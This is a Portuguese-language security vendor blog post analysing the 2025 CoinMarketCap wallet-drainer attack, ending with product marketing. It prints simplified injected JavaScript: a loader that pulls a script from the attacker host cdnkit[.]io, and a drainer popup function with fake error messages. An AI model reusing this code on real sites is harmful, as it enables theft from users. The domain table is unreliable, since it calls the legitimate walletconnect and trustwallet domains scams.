Skip to main content
Blog
Blog Attacks

Ataque Client-Side ao CoinMarketCap: Uma Análise Completa

Em 20 de junho de 2025, o CoinMarketCap (CMC), uma importante plataforma de dados cripto em tempo real, sofreu um incidente de segurança client-side.

Jun 23, 2025 Atualizado Jul 20, 2026 13 min read
coin-market-cap-image-cover
Índice

Resumo: detalhamento do drainer via API doodle da CoinMarketCap, $43,266

  • As APIs first-party são supply chain: As APIs first-party de confiança são a nova cadeia de abastecimento. O próprio endpoint /doodle/get da CoinMarketCap entregou o drainer de carteiras, pelo que qualquer allowlist de CSP e qualquer questionário de fornecedores do mundo já o deixava passar.
  • $43,266 a partir de um doodle: O payload Inferno Drainer desviou $43,266 de 110 vítimas através de um doodle JSON alojado em cdnkit[.]io, e a primeira transação maliciosa ocorreu às 4:57 PM EST. O cside vigia o comportamento dos scripts em runtime, pelo que um doodle a pedir a aprovação de uma carteira dispara o alerta.
  • Os endpoints de marketing são superfícies de ataque: Se um endpoint de marketing no seu site consegue injetar HTML ou JS, trate-o hoje mesmo como superfície de ataque. Se não conseguir bloqueá-lo, monitorize o que ele realmente renderiza e solicita antes de o próximo popup pedir a um utilizador para assinar.

Sem tempo? Veja o bloqueio in-browser de Magecart e skimmers da cside. Cobre tudo o que se segue numa única implementação.

GIF animado do popup falso de verificação de carteira exibido aos visitantes do CoinMarketCap durante o ataque

Em 20 de junho de 2025, o CoinMarketCap (CMC), uma importante plataforma de dados cripto em tempo real, sofreu um incidente de segurança client-side. Um ataque client-side comprometeu o seu frontend, induzindo os utilizadores a ligar as suas carteiras cripto através de um esquema de phishing sofisticado. Esta violação expôs vulnerabilidades críticas nos caminhos de entrega de conteúdo de confiança. Embora não saibamos se a resposta da API foi comprometida através de código de terceiros ou de uma configuração incorreta interna, o resultado foi claro: execução de malware client-side através de uma API de confiança.

De seguida, decompomos o ataque em duas camadas: um resumo de alto nível para partes interessadas não técnicas e uma análise técnica detalhada para profissionais de segurança.

Resumo de Alto Nível: O Que Aconteceu?

Fonte: https://x.com/DarkWebInformer/status/1936209452878745680

Os popups não faziam parte das funcionalidades legítimas do CMC: eram o resultado de um ataque client-side que sequestrou o frontend do site.

Cronologia do Ataque

Fonte: https://x.com/blockaid_/status/1936199273701687702

Tweet a mostrar a cronologia do ataque ao CoinMarketCap, incluindo a primeira transação maliciosa às 4:57 PM EST

Em 20 de junho de 2025, os utilizadores que visitavam a página inicial do CoinMarketCap começaram a ver popups inesperados. Estes popups, concebidos para imitar a identidade visual do CoinMarketCap, instavam os utilizadores a "verificar as suas carteiras" para "manter acesso total" à plataforma.

Momento Crítico: A primeira transação maliciosa associada ao ataque foi executada às 4:57 PM EST, um horário provavelmente escolhido para coincidir com o final do dia de trabalho de engenheiros e equipas de segurança, atrasando a deteção imediata.

Principais Conclusões para Partes Interessadas Não Técnicas

  • Como Começou: O ataque começou com um elemento pequeno e aparentemente inofensivo na página inicial do CMC: uma imagem "doodle" (um gráfico decorativo, como um logótipo temático de feriado).
  • O Que Aconteceu a Seguir: Esta imagem doodle estava ligada a um recurso não confiável (um ficheiro JSON) alojado num domínio externo (cdnkit[.]io). Este recurso continha código oculto que injetava um popup falso no navegador do utilizador.
  • O Esquema: O popup parecia legítimo, utilizando as cores, os logótipos e a linguagem urgente do CMC para induzir os utilizadores a ligar as suas carteiras cripto (por exemplo, MetaMask, Phantom). Uma vez ligadas, os atacantes podiam roubar fundos.
  • Por Que É Grave: Embora este ataque se assemelhasse a um comprometimento da cadeia de abastecimento do ponto de vista do frontend, uma vez que o código malicioso foi entregue através de um endpoint de confiança, a causa subjacente pode ter sido uma modificação direta de uma resposta de API first-party. A verdadeira origem não é clara sem acesso interno. Do ponto de vista do frontend, no entanto, isto mostra o quão perigoso é quando os canais de dados de confiança são abusados.

Análise Técnica Aprofundada: Como o Ataque Funcionou

Para compreender a mecânica do ataque, dividimo-lo em fases, desde o gatilho inicial até ao payload final.

Fase 1: A Imagem Doodle (Comprometimento Inicial)

A página inicial do CoinMarketCap incluía uma secção de "doodle", uma funcionalidade comum em feriados ou eventos (por exemplo, um logótipo especial para o Dia Mundial do Coração). Este doodle era carregado dinamicamente através de um pedido de API para https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5

A API devolvia um ficheiro JSON com metadados sobre os doodles ativos, incluindo ligações para ficheiros de imagem.

A Resposta JSON Maliciosa

A resposta JSON incluía uma referência a um ficheiro alojado em cdnkit[.]io:

"lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json"

Este URL não apontava para uma imagem simples. Em vez disso, devolvia outro ficheiro JSON com código JavaScript incorporado.

Fase 2: JavaScript Injetado (Execução Client-Side)

O JSON proveniente de cdnkit[.]io continha um trecho de JavaScript oculto, concebido para ser executado no navegador do utilizador. Eis uma decomposição simplificada do código:

// Verifica se o ataque já foi injetado
if (!window.cmcInjected) {
  window.cmcInjected = true;

  // Modifica a página para ocultar elementos legítimos (por exemplo, o logótipo real do CMC)
  const logo = document.querySelector('.cmc-logo');
  if (logo) {
    logo.title = 'Go to homepage'; // Título falso para simular legitimidade
    logo.removeAttribute('data-text');
  }

  // Adiciona CSS para estilizar o popup falso
  const style = document.createElement('style');
  style.textContent = `.cmc-logo svg{margin-top:-3px}...`; // Oculta elementos reais
  document.head.appendChild(style);

  // Injeta o script do popup malicioso
  const script = document.createElement('script');
  script.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
  document.head.appendChild(script);
}  

Observações Principais

  • Execução Client-Side: O código é executado no navegador do utilizador, não nos servidores do CMC. Isto contorna as ferramentas de segurança server-side.
  • Verificação de Persistência: A flag window.cmcInjected garante que o script é executado apenas uma vez por sessão, evitando a deteção.
  • Manipulação do DOM: O script modifica o HTML/CSS da página para ocultar elementos legítimos (por exemplo, o logótipo real do CMC) e preparar o terreno para o popup falso.

Fase 3: O Popup Falso (Interface de Phishing)

O script injetado (popup[.]js, alojado em blockassets[.]app) criava uma sobreposição com aspeto realista. Eis como funcionava:

Estrutura do Popup

O popup imitava o design do CMC, com:

  • Um título "Verify Your Wallet".
  • Uma mensagem que instigava urgência: "Please connect your wallet now to authenticate and maintain full access to your CoinMarketCap account."
  • Um botão "Connect Wallet" estilizado para corresponder à interface do CMC.

Lógica JavaScript

O script popup[.]js incluía funções para:

  1. Exibir o Popup: Adicionar uma sobreposição em ecrã inteiro com a mensagem falsa.
  2. Gerir a Interação do Utilizador: Quando o utilizador clica em "Connect Wallet", o script tenta ligar-se a uma carteira cripto (por exemplo, MetaMask, Phantom).
  3. Exfiltração de Dados: Uma vez ligado, o script comunica com domínios maliciosos (por exemplo, walletconnect[.]com, trustwallet[.]com) para roubar credenciais da carteira ou chaves privadas.

Fase 4: Análise de Domínios (Infraestrutura Suspeita)

O ataque baseou-se em domínios com sinais de alerta evidentes:

Domínio Detalhes
cdnkit[.]io Alojou o JSON malicioso inicial. Domínio registado em 2020; sem ligação direta ao CMC.
blockassets[.]app Alojou popup[.]js e f43f9316-f6a5-4626-bafd-fd4fd52cb490[.]js. Os dados WHOIS do domínio mostram que não pertence ao CMC.
admin2[.]prod[.]coinmarketcap[.]supply Um domínio com erro ortográfico (supply em vez de com) que imita a infraestrutura do CMC. O WHOIS mostra que tem 2,677 dias (criado em 2018) e que não pertence ao CMC.
walletconnect[.]com Redireciona para reown[.]com, um domínio conhecido por estar associado a golpes.
trustwallet[.]com Historicamente associado a extensões de navegador fraudulentas (de acordo com avaliações de utilizadores).

Fase 5: Wallet Drainer (Payloads Técnicos)

O script popup[.]js interagia com uma biblioteca JavaScript maior (alojada em blockassets[.]app) que incluía funções para:

  • Ligação de Carteira: Detetar e ligar-se a carteiras populares (MetaMask, Phantom, etc.).
  • Lógica de Ataque Adaptativa: Personalizar o fluxo de phishing com base no tipo de carteira detetado, para evitar avisos de segurança e assinaturas falhadas.
  • Assinatura de Transações: Induzir os utilizadores a assinar transações maliciosas (por exemplo, aprovar transferências de tokens).
  • Tratamento de Erros: Exibir mensagens de erro falsas (por exemplo, "Your wallet is blacklisted") para pressionar os utilizadores a tentar novamente com carteiras diferentes.

Exemplo de Trecho de Código

A função customPopupOpen em popup[.]js controlava o comportamento do popup:

window.customPopupOpen = function(params) {
  const stepName = params.stepName;
  return new Promise((resolve) => {
    const errorSteps = ["blacklisted", "connect_empty", "connect_too_low", ...];

    if (errorSteps.includes(stepName)) {
      // Exibe mensagem de erro falsa
      injectToasterMessage({
        blacklisted: "Your wallet is not AML clear, you can't use it!",
        connect_empty: "For security reasons we can't allow you to connect empty or new wallet.",
        ...
      }[stepName]);
    } else {
      // Exibe um spinner de carregamento para enganar os utilizadores
      modalFooter.classList.add("loading");
      resolve(); // Continua o script drainer
    }
  });
};  

Revelações Pós-Ataque

Fonte: https://x.com/ReyXBF/status/1936276267797475526

Captura de ecrã do painel de controlo do Inferno Drainer a mostrar os fundos roubados e o número de vítimas do ataque ao CoinMarketCap

Nas horas seguintes ao incidente, um canal do Telegram chamado "CommLeaks" partilhou capturas de ecrã alegadamente provenientes do painel de controlo do atacante. Estas imagens, associadas ao "Inferno Drainer" (uma ferramenta maliciosa bem documentada para esvaziar carteiras cripto), revelaram:

  • Total de Fundos Roubados: Aproximadamente $43,266 USD foram desviados de 110 vítimas que interagiram com o popup falso de verificação de carteira.
  • Escala do Ataque: O painel mostrava o alcance do ataque, com centenas de utilizadores enganados para ligarem as suas carteiras. Isto demonstra a eficácia das táticas de engenharia social (urgência, interface realista) combinadas com o comprometimento client-side.

Por Que Este Ataque É Importante

A Ameaça Crescente dos Ataques a JavaScript de Terceiros

A violação do CoinMarketCap segue um padrão que temos visto com frequência: ataques que exploram canais de entrega de conteúdo de confiança, sejam bibliotecas de terceiros ou APIs internas, para injetar scripts maliciosos nos navegadores dos utilizadores. Os atacantes visam cada vez mais bibliotecas, CDNs e ferramentas SaaS integradas em sites. Por exemplo:

  • O ataque ao Polyfill (fevereiro de 2024) distribuiu código malicioso através de cdn[.]polyfill[.]io, um serviço amplamente utilizado para compatibilidade entre navegadores
  • Os scripts de terceiros têm frequentemente acesso a dados sensíveis dos utilizadores (por exemplo, cookies, endereços de carteira), o que os torna alvos prioritários

Por Que as Defesas Tradicionais Falham:

  • As ferramentas de segurança server-side (firewalls, WAFs) não conseguem inspecionar a execução de código client-side.
  • Até mesmo serviços de confiança (por exemplo, plataformas de analytics) podem ser comprometidos, como se viu no ataque ao doodle do CoinMarketCap.

Vulnerabilidades no Caminho de Dados de Confiança

Do ponto de vista do cliente, este incidente imita um ataque à cadeia de abastecimento, em que o conteúdo malicioso foi entregue através de um caminho de confiança, mas a causa raiz pode ter sido um comprometimento direto do backend. Embora ainda não haja provas de que um terceiro tenha sido comprometido, o ataque utilizou um endpoint de API de confiança (/doodle/get) para entregar código malicioso. Isto significa que mesmo a infraestrutura first-party, se mal configurada ou comprometida, pode tornar-se inadvertidamente num canal de distribuição de malware, tal como aconteceria com uma biblioteca ou CDN contaminada. Esclarecimento: Isto foi realmente um ataque à cadeia de abastecimento?

Ainda não sabemos se uma dependência de terceiros foi comprometida, ou se a API /doodle/get foi modificada internamente. No entanto, do ponto de vista do frontend, comportou-se como um ataque à cadeia de abastecimento, porque o conteúdo malicioso foi entregue através de um serviço de confiança, quebrando a cadeia de confiança implícita, independentemente da origem.

Riscos Client-Side

Os ataques client-side (código executado no navegador do utilizador) são particularmente perigosos, sem proteção client-side, porque:

  • Contornam as ferramentas de segurança server-side (por exemplo, firewalls, sistemas de deteção de intrusões).
  • Exploram a confiança do utilizador numa plataforma familiar (CMC).
  • Podem espalhar-se rapidamente, uma vez que o código malicioso é carregado em cada visita à página.

Como Manter-se Protegido

Para Utilizadores

  • Evite Popups Não Solicitados: Nunca ligue a sua carteira através de um popup, mesmo em sites de confiança. As plataformas legítimas não pedem ligações de carteira através de popups inesperados.
  • Utilize Bloqueadores de Anúncios: Ferramentas como uBlock Origin ou AdGuard podem bloquear o carregamento de scripts maliciosos.
  • Verifique os Domínios: Verifique se há erros ortográficos nos URLs (por exemplo, coinmarketcap[.]supply vs. coinmarketcap[.]com).
  • Examine Cada Aprovação: Antes de assinar, leia atentamente os detalhes na sua carteira. Tenha especial cuidado com pedidos que solicitem permissões amplas.

Para Plataformas (por exemplo, CMC)

  • Audite Integrações de Terceiros: Reveja regularmente todos os recursos externos (imagens, scripts, APIs) carregados na sua plataforma.
  • Integridade de Subrecursos (SRI): O SRI pode ser utilizado para vincular scripts a hashes (por exemplo, ``). No entanto, na maioria dos casos o SRI não será uma opção viável devido ao comportamento altamente dinâmico do JavaScript. O SRI também não alerta sobre violações, o que dificulta a sua utilização em produção.
  • Monitorize a Atividade Client-Side: Utilize ferramentas como Sentry ou New Relic para detetar execuções inesperadas de JavaScript.

Utilize Ferramentas de Monitorização de JS de Terceiros: Os scripts de terceiros são uma parte crítica da cadeia de abastecimento da web moderna, mas também introduzem riscos. Código malicioso injetado através de bibliotecas de terceiros (por exemplo, ferramentas de analytics, redes de anúncios ou polyfills) pode comprometer dados de utilizadores ou possibilitar ataques como a violação do CoinMarketCap

Como o cside Pode Ajudar: Plataformas como o cside são especializadas em monitorizar, proteger e otimizar JavaScript de terceiros. Os seus serviços incluem:

  • Análise de Payload em Tempo Real: Acompanhe cada pedido para detetar alterações maliciosas em scripts de terceiros
  • Deteção de Ataques à Cadeia de Abastecimento: Identifique dependências comprometidas (por exemplo, o incidente de fevereiro de 2024 com cdn[.]polyfill[.]io, que injetou código malicioso em milhares de sites)
  • Suporte à Conformidade PCI: Garanta que as integrações de terceiros cumprem os padrões de segurança para setores que lidam com dados sensíveis

Passo Acionável: Crie uma conta gratuita em cside.com para começar a monitorizar os seus scripts de terceiros e proteger-se contra vulnerabilidades na cadeia de abastecimento.

Conclusão

A violação do CoinMarketCap mostra o quanto de dano um elemento pequeno e negligenciado, como uma imagem doodle, pode causar. Os atacantes utilizaram a própria confiança da plataforma junto dos seus utilizadores para roubar fundos. À medida que a adoção de criptomoedas cresce, as plataformas precisam de continuar a proteger os seus caminhos de entrega de conteúdo, e os utilizadores precisam de examinar cuidadosamente cada pedido de ligação de carteira. Para as equipas de segurança, este incidente é um argumento a favor da gestão de risco na cadeia de abastecimento e da segurança client-side. Para os utilizadores, é um lembrete para se manterem atentos: até mesmo plataformas de confiança podem ser vítimas de phishing.

Um agradecimento especial ao nosso amigo e colaborador convidado do blogue, Jack LaFond.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitore e proteja seus scripts de terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração

Quer ver isso em detalhe com um engenheiro?

Trinta minutos, no seu próprio site. Sem slides.

Agende uma demo personalizada para ver:

Como alcançar a conformidade com os requisitos 6.4.3 e 11.6.1 do PCI DSS em 1 dia
Por que scripts de terceiros são um risco de segurança para você e seus visitantes
Como monitorar vazamentos de privacidade e consentimento (RGPD, CCPA) em cada terceiro
Como conter abuso de cadastros, compartilhamento de contas e fraude de chargeback com device intelligence
Como detectar e controlar agentes de IA e bots que acessam seu site em tempo real

Prefere só mandar uma pergunta?

Procurando horários livres…

Apenas humanos de verdade. A gente saberia.

Problemas para agendar? Abrir o agendador em uma nova aba

O que você está tentando resolver?

Conte em uma linha e voltamos com algo útil, não com um discurso genérico.

Costumamos ajudar com:

Ver quais scripts de terceiros rodam no seu site
Evidências para PCI DSS 6.4.3 e 11.6.1
Bots, agentes de IA e roubo de contas

Prefere agendar um horário? Escolher um horário